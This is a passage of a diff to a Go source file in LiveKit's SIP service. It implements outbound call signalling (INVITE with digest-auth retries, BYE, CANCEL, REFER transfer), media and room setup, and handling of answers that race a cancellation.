*contact.GetContactURI(), - } - from.Params.Add("tag", string(id)) - return &sipOutbound{ - log: log, - c: c, - id: id, - callID: guid.HashedID(string(id)), - uri: uri, - to: to, - from: from, - contact: contactHeader, - referDone: make(chan error), // Do not buffer the channel to avoid reading a result for an old request - nextCSeq: 1, - getHeaders: getHeaders, - } -} - -type sipOutbound struct { - log logger.Logger - c *Client - id LocalTag - uri *sip.Uri - from *sip.FromHeader - to *sip.ToHeader - contact *sip.ContactHeader - routeHeaders []string - - mu sync.RWMutex - tag RemoteTag - callID string - invite *sip.Request - inviteOk *sip.Response - nextCSeq uint32 - getHeaders setHeadersFunc - - referCseq uint32 - referDone chan error - latestInviteCSeq uint32 -} - -func (c *sipOutbound) From() sip.Uri { - return c.from.Address -} - -func (c *sipOutbound) To() sip.Uri { - c.mu.RLock() - defer c.mu.RUnlock() - if c.to == nil { - return sip.Uri{} - } - return c.to.Address -} - -func (c *sipOutbound) Address() sip.Uri { - c.mu.RLock() - defer c.mu.RUnlock() - if c.invite == nil { - return sip.Uri{} - } - return c.invite.Recipient -} - -func (c *sipOutbound) ID() LocalTag { - return c.id -} - -func (c *sipOutbound) Tag() RemoteTag { - c.mu.RLock() - defer c.mu.RUnlock() - return c.tag -} - -func (c *sipOutbound) SIPCallID() string { - c.mu.RLock() - defer c.mu.RUnlock() - return c.callID -} - -func (c *sipOutbound) InviteCSeq() uint32 { - c.mu.RLock() - defer c.mu.RUnlock() - return c.latestInviteCSeq -} - -func (c *sipOutbound) RecordInvite(cseq uint32) { - c.mu.Lock() - defer c.mu.Unlock() - if cseq > c.latestInviteCSeq { - c.latestInviteCSeq = cseq - } -} - -// Returns the original SDP offer. -func (c *sipOutbound) OwnSDP() []byte { - c.mu.RLock() - defer c.mu.RUnlock() - if c.invite == nil { - return nil - } - body := c.invite.Body() - if len(body) == 0 { - return nil - } - out := make([]byte, len(body)) - copy(out, body) - return out -} - -func (c *sipOutbound) RemoteHeaders() Headers { - c.mu.RLock() - defer c.mu.RUnlock() - if c.inviteOk == nil { - return nil - } - return c.inviteOk.Headers() -} - -func (c *sipOutbound) Invite(ctx context.Context, user, pass string, headers map[string]string, sdpOffer []byte, setState sipRespFunc) ([]byte, error) { - ctx, span := Tracer.Start(ctx, "sip.outbound.Invite") - defer span.End() - c.mu.Lock() - defer c.mu.Unlock() - - var ( - sipHeaders Headers - authHeader = "" - authHeaderRespName string - req *sip.Request - resp *sip.Response - err error - ) - if keys := maps.Keys(headers); len(keys) != 0 { - sort.Strings(keys) - for _, key := range keys { - sipHeaders = append(sipHeaders, sip.NewHeader(key, headers[key])) - } - } -authLoop: - for try := 0; ; try++ { - if try >= 5 { - return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthMaxRetry) - } - req, resp, err = c.attemptInvite(ctx, sip.CallIDHeader(c.callID), sdpOffer, authHeaderRespName, authHeader, sipHeaders, setState) - if err != nil { - return nil, err - } - var authHeaderName string - switch resp.StatusCode { - case sip.StatusOK: - break authLoop - default: - st := &livekit.SIPStatus{ - Code: livekit.SIPStatusCode(resp.StatusCode), - Status: resp.Reason, - } - if blocked := carrierBlockFromResponse(resp, st); blocked != nil { - return nil, fmt.Errorf("INVITE blocked by carrier: %w", blocked) - } - return nil, fmt.Errorf("unexpected status from INVITE response: %w", st) - case sip.StatusBadRequest, - sip.StatusNotFound, - sip.StatusTemporarilyUnavailable, - sip.StatusNotAcceptableHere, - sip.StatusBusyHere: - st := &livekit.SIPStatus{ - Code: livekit.SIPStatusCode(resp.StatusCode), - Status: resp.Reason, - } - if body := resp.Body(); len(body) != 0 { - st.Status = string(body) - } else if s := resp.GetHeader("X-Twilio-Error"); s != nil { - st.Status = s.Value() - } - if blocked := carrierBlockFromResponse(resp, st); blocked != nil { - return nil, fmt.Errorf("INVITE blocked by carrier: %w", blocked) - } - return nil, fmt.Errorf("INVITE failed: %w", st) - case sip.StatusUnauthorized: - authHeaderName = "WWW-Authenticate" - authHeaderRespName = "Authorization" - case sip.StatusProxyAuthRequired: - authHeaderName = "Proxy-Authenticate" - authHeaderRespName = "Proxy-Authorization" - } - c.log.Infow("auth requested", "status", resp.StatusCode, "body", string(resp.Body())) - // auth required - if user == "" || pass == "" { - return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthMissingCreds) - } - headerVal := resp.GetHeader(authHeaderName) - if headerVal == nil { - return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthNoHeader) - } - challengeStr := headerVal.Value() - challenge, err := digest.ParseChallenge(challengeStr) - if err != nil { - return nil, psrpc.NewErrorf(psrpc.Internal, "invalid challenge %q: %v", challengeStr, err) - } - toHeader := resp.To() - if toHeader == nil { - return nil, psrpc.NewErrorf(psrpc.Internal, "no 'To' header on Response") - } - - cred, err := digest.Digest(challenge, digest.Options{ - Method: req.Method.String(), - URI: toHeader.Address.String(), - Username: user, - Password: pass, - }) - if err != nil { - return nil, err - } - authHeader = cred.String() - // Try again with a computed digest - } - - c.invite, c.inviteOk = req, resp - toHeader := resp.To() - if toHeader == nil { - return nil, psrpc.NewErrorf(psrpc.Internal, "no To header in INVITE response") - } - var ok bool - c.tag, ok = getTagFrom(toHeader.Params) - if !ok { - return nil, psrpc.NewErrorf(psrpc.Internal, "no tag in To header in INVITE response") - } - - applyInviteResponse(req, resp) - return c.inviteOk.Body(), nil -} - -// applyInviteResponse rewrites the INVITE request in place so ACK/BYE built from -// it reach the answering party: recipient from Contact, route set from -// Record-Route, and the cached destination flushed when either changed. We don't -// plumb the request back to the caller, so we mutate it to update the route set. -func applyInviteResponse(req *sip.Request, resp *sip.Response) { - flushDestinationCache := false - if cont := resp.Contact(); cont != nil { - newContact := cont.Address - if newContact.Port == 0 { - newContact.Port = 5060 - } - oldRecipient := req.Recipient - if oldRecipient.Port == 0 { - oldRecipient.Port = 5060 - } - flushDestinationCache = !strings.EqualFold(oldRecipient.Host, newContact.Host) || oldRecipient.Port != newContact.Port - req.Recipient = newContact - } - - // We currently don't plumb the request back to caller to construct the ACK with. - // Thus, we need to modify the request to update any route sets. - for req.RemoveHeader("Route") { - flushDestinationCache = true - } - for _, hdr := range resp.GetHeaders("Record-Route") { - flushDestinationCache = true - req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) - } - - if flushDestinationCache { - req.MessageData.SetDestination("") // Undo destination fixing - } -} - -func (c *sipOutbound) AcceptBye(req *sip.Request, tx sip.ServerTransaction) { - _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) - c.mu.Lock() - defer c.mu.Unlock() - c.drop() // mark as closed -} - -func (c *sipOutbound) AckInviteOK(ctx context.Context) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.AckInviteOK") - defer span.End() - c.mu.Lock() - defer c.mu.Unlock() - if c.invite == nil || c.inviteOk == nil { - return psrpc.NewErrorf(psrpc.Canceled, "call already closed") - } - return c.c.sipCli.WriteRequest(sip.NewAckRequest(c.invite, c.inviteOk, nil)) -} - -func (c *sipOutbound) attemptInvite(ctx context.Context, callID sip.CallIDHeader, offer []byte, authHeaderName, authHeader string, headers Headers, setState sipRespFunc) (*sip.Request, *sip.Response, error) { - ctx, span := Tracer.Start(ctx, "sip.outbound.attemptInvite") - defer span.End() - req := sip.NewRequest(sip.INVITE, *c.uri) - c.setCSeq(req) - req.RemoveHeader("Call-ID") - req.AppendHeader(&callID) - - req.SetBody(offer) - req.AppendHeader(c.to) - req.AppendHeader(c.from) - req.AppendHeader(c.contact) - - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) - - if authHeader != "" { - req.AppendHeader(sip.NewHeader(authHeaderName, authHeader)) - } - for _, h := range headers { - req.AppendHeader(h) - } - - for _, route := range c.routeHeaders { - req.PrependHeader(sip.NewHeader("Route", route)) - } - - tx, err := c.c.sipCli.TransactionRequest(req) - if err != nil { - return nil, nil, err - } - handedOff := false - defer func() { - if !handedOff { - tx.Terminate() - } - }() - - // Log the actual local port used for TCP connections from the DialPort range - if req.Transport() == "TCP" { - // Type-assert to *sipgo.Client to access the embedded UserAgent - if sipClient, ok := c.c.sipCli.(*sipgo.Client); ok { - if tpl := sipClient.TransportLayer(); tpl != nil { - // Try to get the connection using the destination address - // The connection should be available after TransactionRequest creates it - if dest := req.Destination(); dest != "" { - if conn, err := tpl.GetConnection("tcp", dest); err == nil && conn != nil { - if tcpAddr, ok := conn.LocalAddr().(*net.TCPAddr); ok && tcpAddr != nil { - c.log.Debugw("TCP connection using port on cloud-sip side", "port", tcpAddr.Port) - } - } - } - } - } - } - - resp, err := sipResponse(ctx, tx, c.c.closing.Watch(), setState) - if err != nil && resp == nil && (ctx.Err() != nil || c.c.closing.IsBroken()) { - // Cancelled: return now, but watch for a racing 2xx in the background. - handedOff = true - go watchCancelledInvite(c.log, c.c.sipCli, c.getHeaders, req, tx) - } - return req, resp, err -} - -func (c *sipOutbound) WriteRequest(req *sip.Request) error { - return c.c.sipCli.WriteRequest(req) -} - -func (c *sipOutbound) Transaction(req *sip.Request) (sip.ClientTransaction, error) { - return c.c.sipCli.TransactionRequest(req) -} - -func (c *sipOutbound) setCSeq(req *sip.Request) { - setCSeq(req, c.nextCSeq) - - c.nextCSeq++ -} - -func (c *sipOutbound) sendBye(ctx context.Context, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - if c.invite == nil || c.inviteOk == nil { - return // call wasn't established - } - ctx, span := Tracer.Start(ctx, "sip.outbound.sendBye") - defer span.End() - r := sip.NewByeRequest(c.invite, c.inviteOk, nil) - r.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) - if c.getHeaders != nil { - for k, v := range c.getHeaders(nil) { - r.AppendHeader(sip.NewHeader(k, v)) - } - } - for k, v := range headers { - r.AppendHeader(sip.NewHeader(k, v)) - } - if c.c.closing.IsBroken() { - // do not wait for a response - _ = c.WriteRequest(r) - return - } - c.setCSeq(r) - c.drop() - sendBye(ctx, c.log, c, r) -} - -func (c *sipOutbound) sendCancel(ctx context.Context, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - if c.invite == nil { - return - } - ctx, span := Tracer.Start(ctx, "sip.outbound.sendCancel") - defer span.End() - r := sip.NewCancelRequest(c.invite) - r.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) - if c.getHeaders != nil { - for k, v := range c.getHeaders(nil) { - r.AppendHeader(sip.NewHeader(k, v)) - } - } - for k, v := range headers { - r.AppendHeader(sip.NewHeader(k, v)) - } - _ = c.WriteRequest(r) - c.drop() -} - -func (c *sipOutbound) drop() { - c.invite = nil - c.inviteOk = nil - c.nextCSeq = 0 -} - -func (c *sipOutbound) Drop() { - c.mu.Lock() - defer c.mu.Unlock() - c.drop() -} - -func (c *sipOutbound) transferCall(ctx context.Context, transferTo string, headers map[string]string, callDone <-chan struct{}) error { - c.mu.Lock() - - if c.invite == nil || c.inviteOk == nil { - c.mu.Unlock() - return psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer non established call") // call wasn't established - } - - if c.c.closing.IsBroken() { - c.mu.Unlock() - return psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer hung up call") - } - - if c.getHeaders != nil { - headers = c.getHeaders(headers) - } - - req := NewReferRequest(c.invite, c.inviteOk, c.contact, transferTo, headers) - c.setCSeq(req) - cseq := req.CSeq() - - if cseq == nil { - c.mu.Unlock() - return psrpc.NewErrorf(psrpc.Internal, "missing CSeq header in REFER request") - } - c.referCseq = cseq.SeqNo - c.mu.Unlock() - - _, err := sendRefer(ctx, c, req, c.c.closing.Watch()) - if err != nil { - return err - } - - return waitReferResult(ctx, c.log, callDone, c.referDone) -} - -func (c *sipOutbound) handleNotify(req *sip.Request, tx sip.ServerTransaction) error { - info, err := handleNotify(req) - if err != nil { - c.log.Infow("error parsing NOTIFY request", "error", err) - - return err - } - - c.log.Infow("handling NOTIFY", "method", info.Method, "status", info.Status, - "reason", info.Reason, "cseq", info.CSeq, "subscription", info.Sub.String()) - - switch info.Method { - default: - return nil - case sip.REFER: - // Read referCseq under the lock, then release it before handing the - // result over. That handoff can park on the unbuffered channel for - // notifyAckTimeout, and while we hold the read lock every caller of - // c.mu.Lock() waits: AcceptBye and Close among them, so an arriving BYE - // would be what we blocked. - c.mu.RLock() - referCseq := c.referCseq - c.mu.RUnlock() - handleReferNotify(info, referCseq, c.referDone) - return nil - } -} - -func (c *sipOutbound) Close(ctx context.Context, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - c.mu.Lock() - defer c.mu.Unlock() - if c.inviteOk != nil { - c.sendBye(ctx, headers) - } else if c.invite != nil { - c.sendCancel(ctx, headers) - } else { - c.drop() - } -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "errors" + "fmt" + "math" + "net" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/frostbyte73/core" + "github.com/icholy/digest" + "golang.org/x/exp/maps" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/tones" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/utils/guid" + "github.com/livekit/protocol/utils/traceid" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +type sipOutboundConfig struct { + transport livekit.SIPTransport + uri *sip.Uri + from *sip.FromHeader + to *sip.ToHeader + user string + pass string + dtmf string + dialtone bool + headers map[string]string + includeHeaders livekit.SIPHeaderOptions + headersToAttrs map[string]string + attrsToHeaders map[string]string + ringingTimeout time.Duration + maxCallDuration time.Duration + enabledFeatures []livekit.SIPFeature + featureFlags map[string]string + mediaConfig *sipMediaConfig +} + +type outboundCall struct { + c *Client + tid traceid.ID + log logger.Logger + state *CallState + callStart time.Time + cc *sipOutbound + media MediaPort + started core.Fuse + stopped core.Fuse + closing core.Fuse + stats Stats + sigTs SignalingTimestamps + jitterBuf bool + projectID string + + mu sync.RWMutex + mon *stats.CallMonitor + lkRoom RoomInterface + lkRoomIn msdk.PCM16Writer // output to room; OPUS at 48k + sipConf sipOutboundConfig +} + +func (c *Client) newCall(ctx context.Context, tid traceid.ID, conf *config.Config, log logger.Logger, id LocalTag, room RoomConfig, sipConf sipOutboundConfig, state *CallState, projectID string) (*outboundCall, error) { + signalLoggingEnabled, _ := strconv.ParseBool(sipConf.featureFlags[signalLoggingFeatureFlag]) + if sipConf.maxCallDuration <= 0 || sipConf.maxCallDuration > maxCallDuration { + sipConf.maxCallDuration = maxCallDuration + } + if sipConf.ringingTimeout <= 0 { + sipConf.ringingTimeout = defaultRingingTimeout + } + jitterBuf := SelectValueBool(conf.EnableJitterBuffer, conf.EnableJitterBufferProb) + room.JitterBuf = jitterBuf + room.LogSignalChanges = signalLoggingEnabled + + tr := TransportFrom(sipConf.transport) + contact := c.ContactURI(tr) + + now := time.Now() + call := &outboundCall{ + c: c, + tid: tid, + log: log, + sipConf: sipConf, + state: state, + callStart: now, + sigTs: SignalingTimestamps{APITime: now}, + jitterBuf: jitterBuf, + projectID: projectID, + } + call.stats.Update() + call.cc = c.newOutbound(log, id, sipConf.uri, sipConf.to, sipConf.from, contact, call.setAttrsToHeaders) + call.log = call.log.WithValues("jitterBuf", call.jitterBuf, "sipCallID", call.cc.callID) + if sipConf.featureFlags[outboundRouteHeadersFeatureFlag] == "true" { + call.cc.routeHeaders = conf.OutboundRouteHeaders + } + + call.mon = c.mon.NewCall(stats.Outbound, sipConf.from.Address.Host, sipConf.to.Address.Host) + var err error + + call.media, err = NewMediaPort(call.log, call.mon, &MediaOptions{ + IP: c.sconf.MediaIP, + Ports: conf.RTPPort, + MediaTimeoutInitial: c.conf.MediaTimeoutInitial, + MediaTimeout: sipConf.mediaConfig.MediaTimeout, + SymmetricRTP: c.conf.SymmetricRTP, + IgnoreLocalAddrInSDP: c.conf.IgnoreLocalAddrInSDP, + EnableJitterBuffer: call.jitterBuf, + LogSignalChanges: signalLoggingEnabled, + Stats: &call.stats.Port, + DrainingIdleTimeout: conf.RTPDrainingIdleTimeout, + DrainingDuration: conf.RTPDrainingDuration, + DTMFAudio: conf.AudioDTMF, + Codecs: sipConf.mediaConfig.Codecs, + Encryption: sipConf.mediaConfig.Encryption, + }, RoomSampleRate) + if err != nil { + call.close(ctx, EndCall{ + Report: fmt.Errorf("media failed: %w", err), + Status: callDropped, + Term: stats.ServerError("media-failed"), + }) + return nil, err + } + if err := call.connectToRoom(ctx, room, c.getRoom); err != nil { + call.close(ctx, EndCall{ + Report: fmt.Errorf("room join failed: %w", err), + Status: callDropped, + Term: stats.ServerError("join-failed"), + }) + return nil, psrpc.NewError(psrpc.Internal, fmt.Errorf("update room failed: %w", err)) + } + + c.cmu.Lock() + defer c.cmu.Unlock() + c.activeCalls[id] = call + return call, nil +} + +func (c *outboundCall) setAttrsToHeaders(headers map[string]string) map[string]string { + if len(c.sipConf.attrsToHeaders) == 0 { + return headers + } + r := c.lkRoom.Room() + if r == nil { + return headers + } + return AttrsToHeaders(r.LocalParticipant.Attributes(), c.sipConf.attrsToHeaders, headers) +} + +func (c *outboundCall) ensureClosed(ctx context.Context) { + c.state.Update(func(info *livekit.SIPCallInfo) { + if info.Error != "" { + info.CallStatus = livekit.SIPCallStatus_SCS_ERROR + } else { + info.CallStatus = livekit.SIPCallStatus_SCS_DISCONNECTED + } + if r := c.lkRoom.Room(); r != nil { + if p := r.LocalParticipant; p != nil { + info.ParticipantIdentity = p.Identity() + info.ParticipantAttributes = p.Attributes() // clones + } + } + info.EndedAtNs = time.Now().UnixNano() + }) +} + +func (c *outboundCall) setErrStatus(ctx context.Context, err error) { + if err == nil { + return + } + c.state.Update(func(info *livekit.SIPCallInfo) { + if info.Error != "" { + return + } + info.Error = err.Error() + info.CallStatus = livekit.SIPCallStatus_SCS_ERROR + }) +} + +func (c *outboundCall) Dial(ctx context.Context) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.Dial") + defer span.End() + c.mon.CallStart() + defer c.mon.CallEnd() + + err := c.connectSIP(ctx, c.tid) + if err != nil { + c.ensureClosed(ctx) + return err // connectSIP updates the error code on the callInfo + } + + c.state.Update(func(info *livekit.SIPCallInfo) { + lkroom := c.lkRoom.Room() + if lkroom == nil { + c.log.Errorw("failed to update SIP info", fmt.Errorf("unexpected state: lkroom is not set")) + return + } + info.RoomId = lkroom.SID() + info.StartedAtNs = time.Now().UnixNano() + info.CallStatus = livekit.SIPCallStatus_SCS_ACTIVE + }) + return nil +} + +func (c *outboundCall) WaitClose(ctx context.Context) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.WaitClose") + defer span.End() + return c.waitClose(ctx, c.tid) +} +func (c *outboundCall) waitClose(ctx context.Context, tid traceid.ID) error { + defer c.ensureClosed(ctx) + + ticker := time.NewTicker(stateUpdateTick) + defer ticker.Stop() + + statsTicker := time.NewTicker(statsInterval) + defer statsTicker.Stop() + for { + select { + case <-statsTicker.C: + c.stats.Update() + c.printStats() + case <-ticker.C: + c.log.Debugw("sending keep-alive") + c.state.ForceFlush() + case <-c.Disconnected(): + roomReason := c.lkRoom.ClosedReason() + c.CloseWith(ctx, EndCall{ + Status: callDropped, + Term: terminationFromRoomDisconnect(roomReason), + Reason: disconnectReasonFromRoomClose(roomReason), + }) + return nil + case <-c.media.MediaTimeout(): + c.closeWithTimeout(ctx) + err := psrpc.NewErrorf(psrpc.DeadlineExceeded, "media timeout") + c.setErrStatus(ctx, err) + return err + case <-ctx.Done(): + c.CloseWith(ctx, EndCall{ + Status: CallHangup, + Term: stats.Success("hangup"), + Reason: livekit.DisconnectReason_CLIENT_INITIATED, + }) + return nil + case <-c.Closed(): + return nil + } + } +} + +func (c *outboundCall) DialAsync(ctx context.Context) { + ctx, span := Tracer.Start(ctx, "sip.outbound.DialAsync") + defer span.End() + + go func() { + ctx, cancel := context.WithTimeout(context.WithoutCancel(ctx), c.sipConf.maxCallDuration) + defer cancel() + if err := c.Dial(ctx); err != nil { + return + } + _ = c.WaitClose(ctx) + }() +} + +func (c *outboundCall) Closed() <-chan struct{} { + return c.stopped.Watch() +} + +func (c *outboundCall) Disconnected() <-chan struct{} { + return c.lkRoom.Closed() +} + +func (c *outboundCall) Close(ctx context.Context) error { + c.mu.Lock() + defer c.mu.Unlock() + c.close(ctx, EndCall{ + Status: callDropped, + Term: stats.ServerError("shutdown"), + Reason: livekit.DisconnectReason_SERVER_SHUTDOWN, + }) + return nil +} + +func (c *outboundCall) CloseWith(ctx context.Context, end EndCall) bool { + c.mu.Lock() + defer c.mu.Unlock() + return c.close(ctx, end) +} + +func (c *outboundCall) closeWithTimeout(ctx context.Context) { + c.mu.Lock() + defer c.mu.Unlock() + c.close(ctx, EndCall{ + Report: psrpc.NewErrorf(psrpc.DeadlineExceeded, "media-timeout"), + Status: callDropped, + Term: stats.Indeterminate("media-timeout"), + Reason: livekit.DisconnectReason_UNKNOWN_REASON, + }) +} + +// EndCall implements CallInterface. +func (c *outboundCall) EndCall(ctx context.Context, headers map[string]string) error { + if !c.CloseWith(ctx, EndCall{ + Status: CallHangup, + Term: stats.Success("rpc"), + Reason: livekit.DisconnectReason_CLIENT_INITIATED, + Headers: headers, + }) { + return errors.New("call already ended") + } + return nil +} + +func (c *outboundCall) printStats() { + c.stats.Log(c.log, c.callStart) +} + +func (c *outboundCall) close(ctx context.Context, end EndCall) bool { + c.closing.Break() + ctx = context.WithoutCancel(ctx) + done := false + c.stopped.Once(func() { + done = true + c.stats.Closed.Store(true) + log := c.log.WithValues("status", end.Status, "result", string(end.Term.Result), "reason", end.Term.Reason) + defer func() { + c.stats.Update() + c.printStats() + c.sigTs.Log(log) + }() + + c.setStatus(end.Status) + if err := end.Report; err != nil { + log.Warnw("Closing outbound call with error", err) + } else { + log.Infow("Closing outbound call") + } + c.state.Update(func(info *livekit.SIPCallInfo) { + if err := end.Report; err != nil && info.Error == "" { + info.Error = err.Error() + info.CallStatus = livekit.SIPCallStatus_SCS_ERROR + } + info.DisconnectReason = end.Reason + }) + + // Send BYE _before_ closing media/room connection. + // This ensures participant attributes are still available for + // attributes_to_headers mapping in the setHeaders callback. + // See: https://github.com/livekit/sip/issues/404 + c.stopSIP(ctx, end.Term, end.Headers) + if c.media != nil { + c.media.Close() + } + + if r := c.lkRoom; r != nil { + _ = r.CloseWithReason(end.Status.DisconnectReason()) + } + + if c.lkRoomIn != nil { + if err := c.lkRoomIn.Close(); err != nil { + log.Warnw("error closing livekit room audio input", err) + } + } + c.lkRoomIn = nil + + c.c.cmu.Lock() + delete(c.c.activeCalls, c.cc.ID()) + c.c.cmu.Unlock() + + c.c.DeregisterTransferSIPParticipant(string(c.cc.ID())) + + // Call the handler asynchronously to avoid blocking + if c.c.handler != nil { + state := c.state + callID := state.Info().CallId + go func(tid traceid.ID) { + ctx := context.WithoutCancel(ctx) + ctx, span := Tracer.Start(ctx, "sip.outbound.OnSessionEnd") + defer span.End() + c.c.handler.OnSessionEnd(ctx, &CallIdentifier{ + TraceID: tid, + ProjectID: c.projectID, + CallID: callID, + SipCallID: c.cc.SIPCallID(), + }, state, end.Term.Reason) + }(c.tid) + } + }) + return done +} + +func (c *outboundCall) Participant() ParticipantInfo { + c.mu.RLock() + defer c.mu.RUnlock() + return c.lkRoom.Participant() +} + +func (c *outboundCall) connectSIP(ctx context.Context, tid traceid.ID) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.connectSIP") + defer span.End() + c.mu.Lock() + defer c.mu.Unlock() + if err := c.dialSIP(ctx, tid); err != nil { + c.log.Infow("SIP call failed", "error", err) + res := classifyInviteError(err) + if !c.sigTs.InviteTime.IsZero() { + // INVITE sent: a call may exist, so don't surface a retryable 5xx. + res = res.afterInvite() + } + c.close(ctx, res.EndCall) + return res.returnErr + } + c.connectMedia() + c.started.Break() + c.lkRoom.Subscribe() + c.log.Infow("Outbound SIP call established") + return nil +} + +func (c *outboundCall) connectToRoom(ctx context.Context, lkNew RoomConfig, getRoom GetRoomFunc) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.connectToRoom") + defer span.End() + attrs := lkNew.Participant.Attributes + if attrs == nil { + attrs = make(map[string]string) + } + + sipCallID := attrs[livekit.AttrSIPCallID] + if sipCallID != "" { + c.c.RegisterTransferSIPParticipant(sipCallID, c) + } + + attrs[livekit.AttrSIPCallStatus] = CallDialing.Attribute() + lkNew.Participant.Attributes = attrs + r := getRoom(c.log, &c.stats.Room) + if err := r.Connect(ctx, c.c.conf, lkNew); err != nil { + _ = r.Close() + return err + } + // We have to create the track early because we might play a dialtone while SIP connects. + // Thus, we are forced to set full sample rate here instead of letting the codec adapt to the SIP source sample rate. + local, err := r.NewParticipantTrack(RoomSampleRate) + if err != nil { + _ = r.Close() + return err + } + c.lkRoom = r + c.lkRoomIn = local + if err := registerSignalingRPC(c.lkRoom, c.cc); err != nil { + return err + } + if err := registerCallRPC(c.lkRoom, c); err != nil { + return err + } + return nil +} + +func (c *outboundCall) dialSIP(ctx context.Context, tid traceid.ID) error { + if c.sipConf.dialtone { + const ringVolume = math.MaxInt16 / 2 + rctx, rcancel := context.WithCancel(ctx) + defer rcancel() + + dst := c.lkRoomIn // already under mutex + + // Play dialtone to the room while participant connects + go func(tid traceid.ID) { + rctx, span := Tracer.Start(rctx, "tones.Play") + defer span.End() + + if dst == nil { + c.log.Infow("room is not ready, ignoring dial tone") + return + } + err := tones.Play(rctx, dst, ringVolume, tones.ETSIRinging) + if err != nil && !errors.Is(err, context.Canceled) { + c.log.Infow("cannot play dial tone", "error", err) + } + }(tid) + } + err := c.sipSignal(ctx, tid) + if err != nil { + return err + } + + if digits := c.sipConf.dtmf; digits != "" { + c.setStatus(CallAutomation) + // Write initial DTMF to SIP + dtmfWriter := c.media.GetOutboundDTMFWriter() + if err := dtmfWriter.WriteSample(digits); err != nil { + return fmt.Errorf("error writing digits (%s): %w", digits, err) + } + } + c.setStatus(CallActive) + return nil +} + +func (c *outboundCall) updateRemoteFromSDP(body []byte) error { + var mp MediaPort + + c.mu.Lock() + mp = c.media + c.mu.Unlock() + + if mp == nil { + return nil + } + _, err := mp.GenerateAnswer(body) + return err +} + +func (c *outboundCall) connectMedia() { + if old := c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()); old != nil { + old.Close() + c.log.Warnw("room has unexpected outbound audio writer", nil) + } + + if old := c.lkRoom.WriteOutboundDTMFTo(c.media.GetOutboundDTMFWriter()); old != nil { + old.Close() + c.log.Warnw("room has unexpected outbound DTMF writer", nil) + } + + if processor := c.c.handler.GetMediaProcessor(c.sipConf.enabledFeatures, c.sipConf.featureFlags, string(c.cc.ID()), MediaProcessorOpts{InputSampleRate: RoomSampleRate}); processor != nil { + c.lkRoomIn = processor(c.lkRoomIn) + } + + if old := c.media.WriteInboundAudioTo(c.lkRoomIn); old != nil { + old.Close() + c.log.Warnw("media port has unexpected inbound audio writer", nil) + } + + // WriteInboundAudioTo takes ownership of c.lkRoomIn, so nil it out to avoid + // double-closing later. + c.lkRoomIn = nil + + if old := c.media.WriteInboundDTMFTo(c.lkRoom.GetInboundDTMFWriter()); old != nil { + old.Close() + c.log.Warnw("media port has unexpected inbound DTMF writer", nil) + } +} + +type sipRespFunc func(code sip.StatusCode, hdrs Headers) + +func sipResponse(ctx context.Context, tx sip.ClientTransaction, stop <-chan struct{}, setState sipRespFunc) (*sip.Response, error) { + cnt := 0 + for { + select { + case <-ctx.Done(): + _ = tx.Cancel() + // NOTE: psrpc.Canceled does not auto-retry, whereas psrpc.DeadlineExceeded does + // As long as that is the case, avoid psrpc.DeadlineExceeded to prevent hammering of destination. + return nil, psrpc.NewError(psrpc.Canceled, ErrSIPRequestTimeout) + case <-stop: + _ = tx.Cancel() + return nil, psrpc.NewErrorf(psrpc.Canceled, "service shutting down") + case <-tx.Done(): + return nil, psrpc.NewError(psrpc.Canceled, transactionTimeoutError{responses: cnt}) + case res := <-tx.Responses(): + if res == nil { + return nil, psrpc.NewError(psrpc.Canceled, transactionTimeoutError{responses: cnt}) + } + status := res.StatusCode + if setState != nil { + setState(res.StatusCode, res.Headers()) + } + if status/100 != 1 { // != 1xx + return res, nil + } + // continue + cnt++ + } + } +} + +// cancelResponseGrace bounds how long a cancelled INVITE is watched for a 2xx. +var cancelResponseGrace = 5 * time.Second + +// watchCancelledInvite catches a 2xx racing with our CANCEL and ACKs+BYEs it so +// the answered call is not orphaned. It owns tx and terminates it when done. +func watchCancelledInvite(log logger.Logger, cli SIPClient, getHeaders setHeadersFunc, req *sip.Request, tx sip.ClientTransaction) { + defer tx.Terminate() + timer := time.NewTimer(cancelResponseGrace) + defer timer.Stop() + for { + select { + case res := <-tx.Responses(): + if res == nil { + return + } + switch res.StatusCode / 100 { + case 1: + continue // provisional; keep waiting + case 2: + log.Infow("cancelled INVITE answered; sending ACK and BYE") + applyInviteResponse(req, res) // route ACK/BYE to the answering Contact + _ = cli.WriteRequest(sip.NewAckRequest(req, res, nil)) + bye := sip.NewByeRequest(req, res, nil) + bye.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) + if getHeaders != nil { + for k, v := range getHeaders(nil) { + 